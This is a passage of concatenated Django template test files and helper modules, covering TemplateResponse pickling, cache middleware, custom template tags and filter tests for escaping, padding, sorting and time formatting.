                                    'application/json', 504)
        self.assertEqual(response['content-type'], 'application/json')
        self.assertEqual(response.status_code, 504)

    @require_jinja2
    def test_using(self):
        request = self.factory.get('/')
        response = TemplateResponse(request, 'template_tests/using.html').render()
        self.assertEqual(response.content, b'DTL\n')
        response = TemplateResponse(request, 'template_tests/using.html', using='django').render()
        self.assertEqual(response.content, b'DTL\n')
        response = TemplateResponse(request, 'template_tests/using.html', using='jinja2').render()
        self.assertEqual(response.content, b'Jinja2\n')

    def test_pickling(self):
        # Create a template response. The context is
        # known to be unpicklable (e.g., a function).
        response = TemplateResponse(
            self.factory.get('/'),
            'first/test.html', {
                'value': 123,
                'fn': datetime.now,
            }
        )
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        # But if we render the response, we can pickle it.
        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)

        self.assertEqual(unpickled_response.content, response.content)
        self.assertEqual(unpickled_response['content-type'], response['content-type'])
        self.assertEqual(unpickled_response.status_code, response.status_code)

        # ...and the unpickled response doesn't have the
        # template-related attributes, so it can't be re-rendered
        template_attrs = (
            'template_name',
            'context_data',
            '_post_render_callbacks',
            '_request',
        )
        for attr in template_attrs:
            self.assertFalse(hasattr(unpickled_response, attr))

        # ...and requesting any of those attributes raises an exception
        for attr in template_attrs:
            with self.assertRaises(AttributeError):
                getattr(unpickled_response, attr)

    def test_repickling(self):
        response = SimpleTemplateResponse('first/test.html', {
            'value': 123,
            'fn': datetime.now,
        })
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)
        pickle.dumps(unpickled_response)


@modify_settings(MIDDLEWARE={'append': ['template_tests.test_response.CustomURLConfMiddleware']})
@override_settings(ROOT_URLCONF='template_tests.urls')
class CustomURLConfTest(SimpleTestCase):

    def test_custom_urlconf(self):
        response = self.client.get('/template_response_view/')
        self.assertContains(response, 'This is where you can find the snark: /snark/')


@modify_settings(
    MIDDLEWARE={
        'append': [
            'django.middleware.cache.FetchFromCacheMiddleware',
            'django.middleware.cache.UpdateCacheMiddleware',
        ],
    },
)
@override_settings(CACHE_MIDDLEWARE_SECONDS=2.0, ROOT_URLCONF='template_tests.alternate_urls')
class CacheMiddlewareTest(SimpleTestCase):

    def test_middleware_caching(self):
        response = self.client.get('/template_response_view/')
        self.assertEqual(response.status_code, 200)

        time.sleep(1.0)

        response2 = self.client.get('/template_response_view/')
        self.assertEqual(response2.status_code, 200)

        self.assertEqual(response.content, response2.content)

        time.sleep(2.0)

        # Let the cache expire and test again
        response2 = self.client.get('/template_response_view/')
        self.assertEqual(response2.status_code, 200)

        self.assertNotEqual(response.content, response2.content)


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    MIDDLEWARE=None,
    MIDDLEWARE_CLASSES=[
        'django.middleware.cache.FetchFromCacheMiddleware',
        'django.middleware.cache.UpdateCacheMiddleware',
    ],
    CACHE_MIDDLEWARE_SECONDS=2.0,
    ROOT_URLCONF='template_tests.alternate_urls'
)
class CacheMiddlewareClassesTest(SimpleTestCase):
    def test_middleware_caching(self):
        response = self.client.get('/template_response_view/')
        self.assertEqual(response.status_code, 200)

        time.sleep(1.0)

        response2 = self.client.get('/template_response_view/')
        self.assertEqual(response2.status_code, 200)

        self.assertEqual(response.content, response2.content)

        time.sleep(2.0)

        # Let the cache expire and test again
        response2 = self.client.get('/template_response_view/')
        self.assertEqual(response2.status_code, 200)

        self.assertNotEqual(response.content, response2.content)






from django.conf.urls import url

from . import views

urlpatterns = [
    # View returning a template response
    url(r'^template_response_view/$', views.template_response_view),

    # A view that can be hard to find...
    url(r'^snark/', views.snark, name='snark'),
]






from django.template import Library, Node

register = Library()


class EchoNode(Node):
    def __init__(self, contents):
        self.contents = contents

    def render(self, context):
        return ' '.join(self.contents)


@register.tag
def echo(parser, token):
    return EchoNode(token.contents.split()[1:])
register.tag('other_echo', echo)


@register.filter
def upper(value):
    return value.upper()






from django import template

register = template.Library()


@register.tag
def badtag(parser, token):
    raise RuntimeError("I am a bad tag")


@register.simple_tag
def badsimpletag():
    raise RuntimeError("I am a bad simpletag")






import operator

from django.template import Engine, Library
from django.utils import six

engine = Engine(app_dirs=True)
register = Library()


@register.inclusion_tag('inclusion.html')
def inclusion_no_params():
    """Expected inclusion_no_params __doc__"""
    return {"result": "inclusion_no_params - Expected result"}
inclusion_no_params.anything = "Expected inclusion_no_params __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_no_params_from_template():
    """Expected inclusion_no_params_from_template __doc__"""
    return {"result": "inclusion_no_params_from_template - Expected result"}
inclusion_no_params_from_template.anything = "Expected inclusion_no_params_from_template __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_one_param(arg):
    """Expected inclusion_one_param __doc__"""
    return {"result": "inclusion_one_param - Expected result: %s" % arg}
inclusion_one_param.anything = "Expected inclusion_one_param __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_one_param_from_template(arg):
    """Expected inclusion_one_param_from_template __doc__"""
    return {"result": "inclusion_one_param_from_template - Expected result: %s" % arg}
inclusion_one_param_from_template.anything = "Expected inclusion_one_param_from_template __dict__"


@register.inclusion_tag('inclusion.html', takes_context=False)
def inclusion_explicit_no_context(arg):
    """Expected inclusion_explicit_no_context __doc__"""
    return {"result": "inclusion_explicit_no_context - Expected result: %s" % arg}
inclusion_explicit_no_context.anything = "Expected inclusion_explicit_no_context __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'), takes_context=False)
def inclusion_explicit_no_context_from_template(arg):
    """Expected inclusion_explicit_no_context_from_template __doc__"""
    return {"result": "inclusion_explicit_no_context_from_template - Expected result: %s" % arg}
inclusion_explicit_no_context_from_template.anything = "Expected inclusion_explicit_no_context_from_template __dict__"


@register.inclusion_tag('inclusion.html', takes_context=True)
def inclusion_no_params_with_context(context):
    """Expected inclusion_no_params_with_context __doc__"""
    return {"result": "inclusion_no_params_with_context - Expected result (context value: %s)" % context['value']}
inclusion_no_params_with_context.anything = "Expected inclusion_no_params_with_context __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'), takes_context=True)
def inclusion_no_params_with_context_from_template(context):
    """Expected inclusion_no_params_with_context_from_template __doc__"""
    return {
        "result": (
            "inclusion_no_params_with_context_from_template - Expected result (context value: %s)" % context['value']
        )
    }
inclusion_no_params_with_context_from_template.anything = (
    "Expected inclusion_no_params_with_context_from_template __dict__"
)


@register.inclusion_tag('inclusion.html', takes_context=True)
def inclusion_params_and_context(context, arg):
    """Expected inclusion_params_and_context __doc__"""
    return {
        "result": "inclusion_params_and_context - Expected result (context value: %s): %s" % (context['value'], arg)
    }
inclusion_params_and_context.anything = "Expected inclusion_params_and_context __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'), takes_context=True)
def inclusion_params_and_context_from_template(context, arg):
    """Expected inclusion_params_and_context_from_template __doc__"""
    return {
        "result": (
            "inclusion_params_and_context_from_template - Expected result "
            "(context value: %s): %s" % (context['value'], arg)
        )
    }
inclusion_params_and_context_from_template.anything = "Expected inclusion_params_and_context_from_template __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_two_params(one, two):
    """Expected inclusion_two_params __doc__"""
    return {"result": "inclusion_two_params - Expected result: %s, %s" % (one, two)}
inclusion_two_params.anything = "Expected inclusion_two_params __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_two_params_from_template(one, two):
    """Expected inclusion_two_params_from_template __doc__"""
    return {"result": "inclusion_two_params_from_template - Expected result: %s, %s" % (one, two)}
inclusion_two_params_from_template.anything = "Expected inclusion_two_params_from_template __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_one_default(one, two='hi'):
    """Expected inclusion_one_default __doc__"""
    return {"result": "inclusion_one_default - Expected result: %s, %s" % (one, two)}
inclusion_one_default.anything = "Expected inclusion_one_default __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_one_default_from_template(one, two='hi'):
    """Expected inclusion_one_default_from_template __doc__"""
    return {"result": "inclusion_one_default_from_template - Expected result: %s, %s" % (one, two)}
inclusion_one_default_from_template.anything = "Expected inclusion_one_default_from_template __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_unlimited_args(one, two='hi', *args):
    """Expected inclusion_unlimited_args __doc__"""
    return {
        "result": (
            "inclusion_unlimited_args - Expected result: %s" % (
                ', '.join(six.text_type(arg) for arg in [one, two] + list(args))
            )
        )
    }
inclusion_unlimited_args.anything = "Expected inclusion_unlimited_args __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_unlimited_args_from_template(one, two='hi', *args):
    """Expected inclusion_unlimited_args_from_template __doc__"""
    return {
        "result": (
            "inclusion_unlimited_args_from_template - Expected result: %s" % (
                ', '.join(six.text_type(arg) for arg in [one, two] + list(args))
            )
        )
    }
inclusion_unlimited_args_from_template.anything = "Expected inclusion_unlimited_args_from_template __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_only_unlimited_args(*args):
    """Expected inclusion_only_unlimited_args __doc__"""
    return {
        "result": "inclusion_only_unlimited_args - Expected result: %s" % (
            ', '.join(six.text_type(arg) for arg in args)
        )
    }
inclusion_only_unlimited_args.anything = "Expected inclusion_only_unlimited_args __dict__"


@register.inclusion_tag(engine.get_template('inclusion.html'))
def inclusion_only_unlimited_args_from_template(*args):
    """Expected inclusion_only_unlimited_args_from_template __doc__"""
    return {
        "result": "inclusion_only_unlimited_args_from_template - Expected result: %s" % (
            ', '.join(six.text_type(arg) for arg in args)
        )
    }
inclusion_only_unlimited_args_from_template.anything = "Expected inclusion_only_unlimited_args_from_template __dict__"


@register.inclusion_tag('test_incl_tag_use_l10n.html', takes_context=True)
def inclusion_tag_use_l10n(context):
    """Expected inclusion_tag_use_l10n __doc__"""
    return {}
inclusion_tag_use_l10n.anything = "Expected inclusion_tag_use_l10n __dict__"


@register.inclusion_tag('inclusion.html')
def inclusion_unlimited_args_kwargs(one, two='hi', *args, **kwargs):
    """Expected inclusion_unlimited_args_kwargs __doc__"""
    # Sort the dictionary by key to guarantee the order for testing.
    sorted_kwarg = sorted(six.iteritems(kwargs), key=operator.itemgetter(0))
    return {"result": "inclusion_unlimited_args_kwargs - Expected result: %s / %s" % (
        ', '.join(six.text_type(arg) for arg in [one, two] + list(args)),
        ', '.join('%s=%s' % (k, v) for (k, v) in sorted_kwarg)
    )}
inclusion_unlimited_args_kwargs.anything = "Expected inclusion_unlimited_args_kwargs __dict__"


@register.inclusion_tag('inclusion.html', takes_context=True)
def inclusion_tag_without_context_parameter(arg):
    """Expected inclusion_tag_without_context_parameter __doc__"""
    return {}
inclusion_tag_without_context_parameter.anything = "Expected inclusion_tag_without_context_parameter __dict__"


@register.inclusion_tag('inclusion_extends1.html')
def inclusion_extends1():
    return {}


@register.inclusion_tag('inclusion_extends2.html')
def inclusion_extends2():
    return {}






import operator
import warnings

from django import template
from django.template.defaultfilters import stringfilter
from django.utils import six
from django.utils.html import escape, format_html

register = template.Library()


@register.filter
@stringfilter
def trim(value, num):
    return value[:num]


@register.filter
def noop(value, param=None):
    """A noop filter that always return its first argument and does nothing with
    its second (optional) one.
    Useful for testing out whitespace in filter arguments (see #19882)."""
    return value


@register.simple_tag(takes_context=True)
def context_stack_length(context):
    return len(context.dicts)


@register.simple_tag
def no_params():
    """Expected no_params __doc__"""
    return "no_params - Expected result"
no_params.anything = "Expected no_params __dict__"


@register.simple_tag
def one_param(arg):
    """Expected one_param __doc__"""
    return "one_param - Expected result: %s" % arg
one_param.anything = "Expected one_param __dict__"


@register.simple_tag(takes_context=False)
def explicit_no_context(arg):
    """Expected explicit_no_context __doc__"""
    return "explicit_no_context - Expected result: %s" % arg
explicit_no_context.anything = "Expected explicit_no_context __dict__"


@register.simple_tag(takes_context=True)
def no_params_with_context(context):
    """Expected no_params_with_context __doc__"""
    return "no_params_with_context - Expected result (context value: %s)" % context['value']
no_params_with_context.anything = "Expected no_params_with_context __dict__"


@register.simple_tag(takes_context=True)
def params_and_context(context, arg):
    """Expected params_and_context __doc__"""
    return "params_and_context - Expected result (context value: %s): %s" % (context['value'], arg)
params_and_context.anything = "Expected params_and_context __dict__"


@register.simple_tag
def simple_two_params(one, two):
    """Expected simple_two_params __doc__"""
    return "simple_two_params - Expected result: %s, %s" % (one, two)
simple_two_params.anything = "Expected simple_two_params __dict__"


@register.simple_tag
def simple_one_default(one, two='hi'):
    """Expected simple_one_default __doc__"""
    return "simple_one_default - Expected result: %s, %s" % (one, two)
simple_one_default.anything = "Expected simple_one_default __dict__"


@register.simple_tag
def simple_unlimited_args(one, two='hi', *args):
    """Expected simple_unlimited_args __doc__"""
    return "simple_unlimited_args - Expected result: %s" % (
        ', '.join(six.text_type(arg) for arg in [one, two] + list(args))
    )
simple_unlimited_args.anything = "Expected simple_unlimited_args __dict__"


@register.simple_tag
def simple_only_unlimited_args(*args):
    """Expected simple_only_unlimited_args __doc__"""
    return "simple_only_unlimited_args - Expected result: %s" % ', '.join(six.text_type(arg) for arg in args)
simple_only_unlimited_args.anything = "Expected simple_only_unlimited_args __dict__"


@register.simple_tag
def simple_unlimited_args_kwargs(one, two='hi', *args, **kwargs):
    """Expected simple_unlimited_args_kwargs __doc__"""
    # Sort the dictionary by key to guarantee the order for testing.
    sorted_kwarg = sorted(six.iteritems(kwargs), key=operator.itemgetter(0))
    return "simple_unlimited_args_kwargs - Expected result: %s / %s" % (
        ', '.join(six.text_type(arg) for arg in [one, two] + list(args)),
        ', '.join('%s=%s' % (k, v) for (k, v) in sorted_kwarg)
    )
simple_unlimited_args_kwargs.anything = "Expected simple_unlimited_args_kwargs __dict__"


@register.simple_tag(takes_context=True)
def simple_tag_without_context_parameter(arg):
    """Expected simple_tag_without_context_parameter __doc__"""
    return "Expected result"
simple_tag_without_context_parameter.anything = "Expected simple_tag_without_context_parameter __dict__"


@register.simple_tag(takes_context=True)
def escape_naive(context):
    """A tag that doesn't even think about escaping issues"""
    return "Hello {0}!".format(context['name'])


@register.simple_tag(takes_context=True)
def escape_explicit(context):
    """A tag that uses escape explicitly"""
    return escape("Hello {0}!".format(context['name']))


@register.simple_tag(takes_context=True)
def escape_format_html(context):
    """A tag that uses format_html"""
    return format_html("Hello {0}!", context['name'])


@register.simple_tag(takes_context=True)
def current_app(context):
    return "%s" % context.current_app


@register.simple_tag(takes_context=True)
def use_l10n(context):
    return "%s" % context.use_l10n


@register.simple_tag(name='minustwo')
def minustwo_overridden_name(value):
    return value - 2

register.simple_tag(lambda x: x - 1, name='minusone')


with warnings.catch_warnings():
    warnings.simplefilter('ignore')

    @register.assignment_tag
    def assignment_no_params():
        """Expected assignment_no_params __doc__"""
        return "assignment_no_params - Expected result"
    assignment_no_params.anything = "Expected assignment_no_params __dict__"

    @register.assignment_tag(takes_context=True)
    def assignment_tag_without_context_parameter(arg):
        """Expected assignment_tag_without_context_parameter __doc__"""
        return "Expected result"
    assignment_tag_without_context_parameter.anything = "Expected assignment_tag_without_context_parameter __dict__"


















from django import template

register = template.Library()


@register.simple_tag
def echo2(arg):
    return arg






from django.template.defaultfilters import first
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class FirstTests(SimpleTestCase):

    @setup({'first01': '{{ a|first }} {{ b|first }}'})
    def test_first01(self):
        output = self.engine.render_to_string('first01', {"a": ["a&b", "x"], "b": [mark_safe("a&b"), "x"]})
        self.assertEqual(output, "a&amp;b a&b")

    @setup({'first02': '{% autoescape off %}{{ a|first }} {{ b|first }}{% endautoescape %}'})
    def test_first02(self):
        output = self.engine.render_to_string('first02', {"a": ["a&b", "x"], "b": [mark_safe("a&b"), "x"]})
        self.assertEqual(output, "a&b a&b")


class FunctionTests(SimpleTestCase):

    def test_list(self):
        self.assertEqual(first([0, 1, 2]), 0)

    def test_empty_string(self):
        self.assertEqual(first(''), '')

    def test_string(self):
        self.assertEqual(first('test'), 't')






from django.template.defaultfilters import ljust
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class LjustTests(SimpleTestCase):

    @setup({'ljust01': '{% autoescape off %}.{{ a|ljust:"5" }}. .{{ b|ljust:"5" }}.{% endautoescape %}'})
    def test_ljust01(self):
        output = self.engine.render_to_string('ljust01', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ".a&b  . .a&b  .")

    @setup({'ljust02': '.{{ a|ljust:"5" }}. .{{ b|ljust:"5" }}.'})
    def test_ljust02(self):
        output = self.engine.render_to_string('ljust02', {"a": "a&b", "b": mark_safe("a&b")})
        self.assertEqual(output, ".a&amp;b  . .a&b  .")


class FunctionTests(SimpleTestCase):

    def test_ljust(self):
        self.assertEqual(ljust('test', 10), 'test      ')
        self.assertEqual(ljust('test', 3), 'test')

    def test_less_than_string_length(self):
        self.assertEqual(ljust('test', 3), 'test')

    def test_non_string_input(self):
        self.assertEqual(ljust(123, 4), '123 ')






from django.template.defaultfilters import make_list
from django.test import SimpleTestCase
from django.test.utils import str_prefix
from django.utils.safestring import mark_safe

from ..utils import setup


class MakeListTests(SimpleTestCase):
    """
    The make_list filter can destroy existing escaping, so the results are
    escaped.
    """

    @setup({'make_list01': '{% autoescape off %}{{ a|make_list }}{% endautoescape %}'})
    def test_make_list01(self):
        output = self.engine.render_to_string('make_list01', {"a": mark_safe("&")})
        self.assertEqual(output, str_prefix("[%(_)s'&']"))

    @setup({'make_list02': '{{ a|make_list }}'})
    def test_make_list02(self):
        output = self.engine.render_to_string('make_list02', {"a": mark_safe("&")})
        self.assertEqual(output, str_prefix("[%(_)s&#39;&amp;&#39;]"))

    @setup({'make_list03': '{% autoescape off %}{{ a|make_list|stringformat:"s"|safe }}{% endautoescape %}'})
    def test_make_list03(self):
        output = self.engine.render_to_string('make_list03', {"a": mark_safe("&")})
        self.assertEqual(output, str_prefix("[%(_)s'&']"))

    @setup({'make_list04': '{{ a|make_list|stringformat:"s"|safe }}'})
    def test_make_list04(self):
        output = self.engine.render_to_string('make_list04', {"a": mark_safe("&")})
        self.assertEqual(output, str_prefix("[%(_)s'&']"))


class FunctionTests(SimpleTestCase):

    def test_string(self):
        self.assertEqual(make_list('abc'), ['a', 'b', 'c'])

    def test_integer(self):
        self.assertEqual(make_list(1234), ['1', '2', '3', '4'])






from django.template.defaultfilters import default
from django.test import SimpleTestCase
from django.utils.safestring import mark_safe

from ..utils import setup


class DefaultTests(SimpleTestCase):
    """
    Literal string arguments to the default filter are always treated as
    safe strings, regardless of the auto-escaping state.

    Note: we have to use {"a": ""} here, otherwise the invalid template
    variable string interferes with the test result.
    """

    @setup({'default01': '{{ a|default:"x<" }}'})
    def test_default01(self):
        output = self.engine.render_to_string('default01', {"a": ""})
        self.assertEqual(output, "x<")

    @setup({'default02': '{% autoescape off %}{{ a|default:"x<" }}{% endautoescape %}'})
    def test_default02(self):
        output = self.engine.render_to_string('default02', {"a": ""})
        self.assertEqual(output, "x<")

    @setup({'default03': '{{ a|default:"x<" }}'})
    def test_default03(self):
        output = self.engine.render_to_string('default03', {"a": mark_safe("x>")})
        self.assertEqual(output, "x>")

    @setup({'default04': '{% autoescape off %}{{ a|default:"x<" }}{% endautoescape %}'})
    def test_default04(self):
        output = self.engine.render_to_string('default04', {"a": mark_safe("x>")})
        self.assertEqual(output, "x>")


class DefaultIfNoneTests(SimpleTestCase):

    @setup({'default_if_none01': '{{ a|default:"x<" }}'})
    def test_default_if_none01(self):
        output = self.engine.render_to_string('default_if_none01', {"a": None})
        self.assertEqual(output, "x<")

    @setup({'default_if_none02': '{% autoescape off %}{{ a|default:"x<" }}{% endautoescape %}'})
    def test_default_if_none02(self):
        output = self.engine.render_to_string('default_if_none02', {"a": None})
        self.assertEqual(output, "x<")


class FunctionTests(SimpleTestCase):

    def test_value(self):
        self.assertEqual(default('val', 'default'), 'val')

    def test_none(self):
        self.assertEqual(default(None, 'default'), 'default')

    def test_empty_string(self):
        self.assertEqual(default('', 'default'), 'default')






from django.template.defaultfilters import dictsortreversed
from django.test import SimpleTestCase


class FunctionTests(SimpleTestCase):

    def test_sort(self):
        sorted_dicts = dictsortreversed(
            [{'age': 23, 'name': 'Barbara-Ann'},
             {'age': 63, 'name': 'Ra Ra Rasputin'},
             {'name': 'Jonny B Goode', 'age': 18}],
            'age',
        )

        self.assertEqual(
            [sorted(dict.items()) for dict in sorted_dicts],
            [[('age', 63), ('name', 'Ra Ra Rasputin')],
             [('age', 23), ('name', 'Barbara-Ann')],
             [('age', 18), ('name', 'Jonny B Goode')]],
        )

    def test_sort_list_of_tuples(self):
        data = [('a', '42'), ('c', 'string'), ('b', 'foo')]
        expected = [('c', 'string'), ('b', 'foo'), ('a', '42')]
        self.assertEqual(dictsortreversed(data, 0), expected)

    def test_sort_list_of_tuple_like_dicts(self):
        data = [
            {'0': 'a', '1': '42'},
            {'0': 'c', '1': 'string'},
            {'0': 'b', '1': 'foo'},
        ]
        expected = [
            {'0': 'c', '1': 'string'},
            {'0': 'b', '1': 'foo'},
            {'0': 'a', '1': '42'},
        ]
        self.assertEqual(dictsortreversed(data, '0'), expected)

    def test_invalid_values(self):
        """
        If dictsortreversed is passed something other than a list of
        dictionaries, fail silently.
        """
        self.assertEqual(dictsortreversed([1, 2, 3], 'age'), '')
        self.assertEqual(dictsortreversed('Hello!', 'age'), '')
        self.assertEqual(dictsortreversed({'a': 1}, 'age'), '')
        self.assertEqual(dictsortreversed(1, 'age'), '')






from __future__ import unicode_literals

from django.template.defaultfilters import escapejs_filter
from django.test import SimpleTestCase
from django.utils import six
from django.utils.functional import lazy

from ..utils import setup


class EscapejsTests(SimpleTestCase):

    @setup({'escapejs01': '{{ a|escapejs }}'})
    def test_escapejs01(self):
        output = self.engine.render_to_string('escapejs01', {'a': 'testing\r\njavascript \'string" <b>escaping</b>'})
        self.assertEqual(output, 'testing\\u000D\\u000Ajavascript '
                                 '\\u0027string\\u0022 \\u003Cb\\u003E'
                                 'escaping\\u003C/b\\u003E')

    @setup({'escapejs02': '{% autoescape off %}{{ a|escapejs }}{% endautoescape %}'})
    def test_escapejs02(self):
        output = self.engine.render_to_string('escapejs02', {'a': 'testing\r\njavascript \'string" <b>escaping</b>'})
        self.assertEqual(output, 'testing\\u000D\\u000Ajavascript '
                                 '\\u0027string\\u0022 \\u003Cb\\u003E'
                                 'escaping\\u003C/b\\u003E')


class FunctionTests(SimpleTestCase):

    def test_quotes(self):
        self.assertEqual(
            escapejs_filter('"double quotes" and \'single quotes\''),
            '\\u0022double quotes\\u0022 and \\u0027single quotes\\u0027',
        )

    def test_backslashes(self):
        self.assertEqual(escapejs_filter(r'\ : backslashes, too'), '\\u005C : backslashes, too')

    def test_whitespace(self):
        self.assertEqual(
            escapejs_filter('and lots of whitespace: \r\n\t\v\f\b'),
            'and lots of whitespace: \\u000D\\u000A\\u0009\\u000B\\u000C\\u0008',
        )

    def test_script(self):
        self.assertEqual(
            escapejs_filter(r'<script>and this</script>'),
            '\\u003Cscript\\u003Eand this\\u003C/script\\u003E',
        )

    def test_paragraph_separator(self):
        self.assertEqual(
            escapejs_filter('paragraph separator:\u2029and line separator:\u2028'),
            'paragraph separator:\\u2029and line separator:\\u2028',
        )

    def test_lazy_string(self):
        append_script = lazy(lambda string: r'<script>this</script>' + string, six.text_type)
        self.assertEqual(
            escapejs_filter(append_script('whitespace: \r\n\t\v\f\b')),
            '\\u003Cscript\\u003Ethis\\u003C/script\\u003E'
            'whitespace: \\u000D\\u000A\\u0009\\u000B\\u000C\\u0008'
        )






from __future__ import unicode_literals

from datetime import datetime, timedelta

from django.template.defaultfilters import timeuntil_filter
from django.test import SimpleTestCase
from django.test.utils import requires_tz_support

from ..utils import setup
from .timezone_utils import TimezoneTestCase


class TimeuntilTests(TimezoneTestCase):

    # Default compare with datetime.now()
    @setup({'timeuntil01': '{{ a|timeuntil }}'})
    def test_timeuntil01(self):
        output = self.engine.render_to_string('timeuntil01', {'a': datetime.now() + timedelta(minutes=2, seconds=10)})
        self.assertEqual(output, '2\xa0minutes')

    @setup({'timeuntil02': '{{ a|timeuntil }}'})
    def test_timeuntil02(self):
        output = self.engine.render_to_string('timeuntil02', {'a': (datetime.now() + timedelta(days=1, seconds=10))})
        self.assertEqual(output, '1\xa0day')

    @setup({'timeuntil03': '{{ a|timeuntil }}'})
    def test_timeuntil03(self):
        output = self.engine.render_to_string(
            'timeuntil03', {'a': (datetime.now() + timedelta(hours=8, minutes=10, seconds=10))}
        )
        self.assertEqual(output, '8\xa0hours, 10\xa0minutes')

    # Compare to a given parameter
    @setup({'timeuntil04': '{{ a|timeuntil:b }}'})
    def test_timeuntil04(self):
        output = self.engine.render_to_string(
            'timeuntil04',
            {'a': self.now - timedelta(days=1), 'b': self.now - timedelta(days=2)},
        )
        self.assertEqual(output, '1\xa0day')

    @setup({'timeuntil05': '{{ a|timeuntil:b }}'})
    def test_timeuntil05(self):
        output = self.engine.render_to_string(
            'timeuntil05',
            {'a': self.now - timedelta(days=2), 'b': self.now - timedelta(days=2, minutes=1)},
        )
        self.assertEqual(output, '1\xa0minute')

    # Regression for #7443
    @setup({'timeuntil06': '{{ earlier|timeuntil }}'})
    def test_timeuntil06(self):
        output = self.engine.render_to_string('timeuntil06', {'earlier': self.now - timedelta(days=7)})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timeuntil07': '{{ earlier|timeuntil:now }}'})
    def test_timeuntil07(self):
        output = self.engine.render_to_string(
            'timeuntil07', {'now': self.now, 'earlier': self.now - timedelta(days=7)}
        )
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timeuntil08': '{{ later|timeuntil }}'})
    def test_timeuntil08(self):
        output = self.engine.render_to_string('timeuntil08', {'later': self.now + timedelta(days=7, hours=1)})
        self.assertEqual(output, '1\xa0week')

    @setup({'timeuntil09': '{{ later|timeuntil:now }}'})
    def test_timeuntil09(self):
        output = self.engine.render_to_string('timeuntil09', {'now': self.now, 'later': self.now + timedelta(days=7)})
        self.assertEqual(output, '1\xa0week')

    # Ensures that differing timezones are calculated correctly.
    @requires_tz_support
    @setup({'timeuntil10': '{{ a|timeuntil }}'})
    def test_timeuntil10(self):
        output = self.engine.render_to_string('timeuntil10', {'a': self.now_tz})
        self.assertEqual(output, '0\xa0minutes')

    @requires_tz_support
    @setup({'timeuntil11': '{{ a|timeuntil }}'})
    def test_timeuntil11(self):
        output = self.engine.render_to_string('timeuntil11', {'a': self.now_tz_i})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timeuntil12': '{{ a|timeuntil:b }}'})
    def test_timeuntil12(self):
        output = self.engine.render_to_string('timeuntil12', {'a': self.now_tz_i, 'b': self.now_tz})
        self.assertEqual(output, '0\xa0minutes')

    # Regression for #9065 (two date objects).
    @setup({'timeuntil13': '{{ a|timeuntil:b }}'})
    def test_timeuntil13(self):
        output = self.engine.render_to_string('timeuntil13', {'a': self.today, 'b': self.today})
        self.assertEqual(output, '0\xa0minutes')

    @setup({'timeuntil14': '{{ a|timeuntil:b }}'})
    def test_timeuntil14(self):
        output = self.engine.render_to_string('timeuntil14', {'a': self.today, 'b': self.today - timedelta(hours=24)})
        self.assertEqual(output, '1\xa0day')


class FunctionTests(SimpleTestCase):

    def test_until_now(self):
        self.assertEqual(timeuntil_filter(datetime.now() + timedelta(1, 1)), '1\xa0day')

    def test_explicit_date(self):
        self.assertEqual(timeuntil_filter(datetime(2005, 12, 30), datetime(2005, 12, 29)), '1\xa0day')






from datetime import date, datetime

from django.test import SimpleTestCase
from django.utils import timezone


class TimezoneTestCase(SimpleTestCase):

    def setUp(self):
        self.now = datetime.now()
        self.now_tz = timezone.make_aware(
            self.now, timezone.get_default_timezone(),
        )
        self.now_tz_i = timezone.localtime(
            self.now_tz, timezone.get_fixed_timezone(195),
        )
        self.today = date.today()






from django.template.defaultfilters import linebreaks_filter
from django.test import SimpleTestCase
from django.utils import six
from django.utils.functional import lazy
from django.utils.safestring import mark_safe

from ..utils import setup


class LinebreaksTests(SimpleTestCase):
    """
    The contents in "linebreaks" are escaped according to the current
    autoescape setting.
    """

    @setup({'linebreaks01': '{{ a|linebreaks }} {{ b|linebreaks }}'})
    def test_linebreaks01(self):
        output = self.engine.render_to_string('linebreaks01', {"a": "x&\ny", "b": mark_safe("x&\ny")})
        self.assertEqual(output, "<p>x&amp;<br />y</p> <p>x&<br />y</p>")

    @setup({'linebreaks02': '{% autoescape off %}{{ a|linebreaks }} {{ b|linebreaks }}{% endautoescape %}'})
    def test_linebreaks02(self):
        output = self.engine.render_to_string('linebreaks02', {"a": "x&\ny", "b": mark_safe("x&\ny")})
        self.assertEqual(output, "<p>x&<br />y</p> <p>x&<br />y</p>")


class FunctionTests(SimpleTestCase):

    def test_line(self):
        self.assertEqual(linebreaks_filter('line 1'), '<p>line 1</p>')

    def test_newline(self):
        self.assertEqual(linebreaks_filter('line 1\nline 2'), '<p>line 1<br />line 2</p>')

    def test_carriage(self):
        self.assertEqual(linebreaks_filter('line 1\rline 2'), '<p>line 1<br />line 2</p>')

    def test_carriage_newline(self):
        self.assertEqual(linebreaks_filter('line 1\r\nline 2'), '<p>line 1<br />line 2</p>')

    def test_non_string_input(self):
        self.assertEqual(linebreaks_filter(123), '<p>123</p>')

    def test_autoescape(self):
        self.assertEqual(
            linebreaks_filter('foo\n<a>bar</a>\nbuz'),
            '<p>foo<br />&lt;a&gt;bar&lt;/a&gt;<br />buz</p>',
        )

    def test_autoescape_off(self):
        self.assertEqual(
            linebreaks_filter('foo\n<a>bar</a>\nbuz', autoescape=False),
            '<p>foo<br /><a>bar</a><br />buz</p>',
        )

    def test_lazy_string_input(self):
